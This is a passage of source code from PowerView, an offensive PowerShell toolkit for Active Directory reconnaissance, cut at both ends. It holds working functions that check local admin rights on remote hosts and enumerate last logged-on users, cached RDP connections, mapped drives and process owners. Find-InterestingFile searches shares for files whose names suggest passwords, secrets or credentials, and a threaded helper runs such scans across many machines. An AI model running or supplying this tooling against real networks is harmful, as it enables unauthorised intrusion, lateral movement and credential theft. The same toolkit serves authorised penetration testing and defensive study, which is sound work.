object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Test-AdminAccess -ComputerName sqlserver + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +.EXAMPLE + +Get-DomainComputer | Test-AdminAccess + +Returns what machines in the domain the current user has access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +.OUTPUTS + +PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [OutputType('PowerView.AdminAccess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False + } + $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') + $IsAdmin + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetComputerSiteName { +<# +.SYNOPSIS + +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +.PARAMETER ComputerName + +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +.EXAMPLE + +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local + +Returns the site for WINDOWS1.testlab.local. + +.EXAMPLE + +Get-DomainComputer | Get-NetComputerSiteName + +Returns the sites for every machine in AD. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. +#> + + [OutputType('PowerView.ComputerSite')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + # if we get an IP address, try to resolve the IP to a hostname + if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName + } + else { + $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + else { + Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' '' + } + $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + + $ComputerSite + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-WMIRegProxy { +<# +.SYNOPSIS + +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +.PARAMETER ComputerName + +Specifies the system to enumerate proxy settings on. Defaults to the local host. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegProxy + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +.EXAMPLE + +$Cred = Get-Credential "TESTLAB\administrator" +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +.INPUTS + +String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +.OUTPUTS + +PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. +#> + + [OutputType('PowerView.ProxySettings')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + $RegProvider = Get-WmiObject @WmiArguments + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' + + # HKEY_CURRENT_USER + $HKCU = 2147483649 + $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue + $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue + + $Wpad = '' + if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { + try { + $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) + } + catch { + Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL" + } + } + + if ($ProxyServer -or $AutoConfigUrl) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer + $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL + $Out | Add-Member Noteproperty 'Wpad' $Wpad + $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') + $Out + } + else { + Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_" + } + } + } +} + + +function Get-WMIRegLastLoggedOn { +<# +.SYNOPSIS + +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +.PARAMETER ComputerName + +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegLastLoggedOn + +Returns the last user logged onto the local machine. + +.EXAMPLE + +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 + +Returns the last user logged onto WINDOWS1 + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegLastLoggedOn + +Returns the last user logged onto all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. +#> + + [OutputType('PowerView.LastLoggedOnUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments + + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } + } + } +} + + +function Get-WMIRegCachedRDPConnection { +<# +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection + +Returns the RDP connection client information for the local machine. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegCachedRDPConnection + +Returns cached RDP information for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. +#> + + [OutputType('PowerView.CachedRDPConnection')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + ForEach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIRegMountedDrive { +<# +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to enumerate recently mounted network drives. + +.PARAMETER ComputerName + +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegMountedDrive + +Returns the saved network mounted drives for the local machine. + +.EXAMPLE + +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegMountedDrive + +Returns the saved network mounted drives for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. +#> + + [OutputType('PowerView.RegMountedDrive')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIProcess { +<# +.SYNOPSIS + +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# +.SYNOPSIS + +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +.PARAMETER Path + +UNC/local path to recursively search. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER ExcludeFolders + +Switch. Exclude folders from the search results. + +.PARAMETER ExcludeHidden + +Switch. Exclude hidden files and folders from the search results. + +.PARAMETER CheckWriteAccess + +Switch. Only returns files the current user has write access to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. + +.EXAMPLE + +Find-InterestingFile -Path "C:\Backup\" + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +.EXAMPLE + +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) + +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $Path = '.\', + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeFolders, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include + } + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') + $SearcherArguments['Include'] = @('*.exe') + } + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] + + $MappedComputers = @{} + + function Test-Write { + # short helper to check is the current user can write to a file + [CmdletBinding()]Param([String]$Path) + try { + $Filetest = [IO.File]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + $False + } + } + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') + $FoundFile + } + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList 